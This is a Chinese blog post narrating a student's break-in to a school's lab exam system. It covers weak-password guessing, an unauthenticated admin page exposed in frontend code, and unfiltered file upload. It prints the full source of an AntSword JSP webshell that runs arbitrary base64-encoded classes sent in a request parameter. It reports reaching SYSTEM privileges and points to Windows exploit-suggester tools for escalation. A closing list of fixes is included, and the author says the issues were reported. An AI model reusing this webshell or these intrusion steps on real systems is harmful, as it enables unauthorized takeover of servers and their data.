写在前面
记录一次对青科实验考试系统的测试,这是我人生第一次进入服务器后台,兴奋记录。
我们学校的实验考试系统的漏洞是在太多了 ,已反映给网络信息办公室,相关信息已经隐藏。
希望有一天能有 CTF 的水平吧(妄想)
思路
- 弄个账号进后台
- 找文件上传点,传木马
- 蚁剑拿 web shell(提权)
究极无语,我有一个学生账号,登进去后确实没任何权限,但是头像上传那里可以直接传jsp,是一点过滤也没有啊,然后直接上传木马拿 shell 就完事了。
没有账号。
1.拿到普通账号:
从登录界面入手,扫一波sql注入,试了像添加 #、//、url编码形式各种各样的sql语句,又拿sqlmap跑了一遍,还是没有发现。
直接撞弱密码字典,果然拿到了几个普通老师账号,账号密码一样的,估计现在也没改。
主界面:
修改头像界面,找到上传点,目标达成。
假装没有上传点,继续
2.进入后台界面
分析一下前端文件,发现编代码的家伙直接把管理地址写在了前端 :new_moon_with_face:
无鉴权,直接进后台(懵)
网站配置全暴露
- Window Server 2012
- jdk8
- MySql 5.5.19
- TomCat 9.0.4
- 真实ip地址
3.上传木马,连接蚁剑
在软件管理这,找到配置文件上传,没有任何过滤,直接传jsp小马
需注意的是木马被上传到了临时文件中,随时会被清除,我们先用蚁剑连上,快速重新上传木马到正式文件夹中。
分享一下木马:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
}
%>
蚁剑连接界面:
发现这台服务器上还运行着好几个web服务,文件随便看改,没有防跨站。
4.GetShell
打开终端,查看为system组别,
已是服务器的所有权限
总结:
需要修bug的地方:
- 学生、老师账号的头像上传,文件类型过滤
- 更改弱账号密码,设置初次登录修改密码
- 改掉前端的身份跳转识别,全转到后端判断
- 增加管理界面的权限过滤器,防止越权访问
- 防跨站,服务器上不止一个web服务
- log4j
提权相关,可以搜一下Windows-Exploit-Suggeste的使用方法,自动扫Windows Server中有哪些漏洞可以利用,然后去github上下载 exp,拿到webshell后用漏洞提权。
下面放上github的链接:
https://github.com/AonCyberLabs/Windows-Exploit-Suggester 原版--依赖于python2
https://github.com/Pwnistry/Windows-Exploit-Suggester-python3 python3重写的
https://github.com/Ruiruigo/WinEXP web版的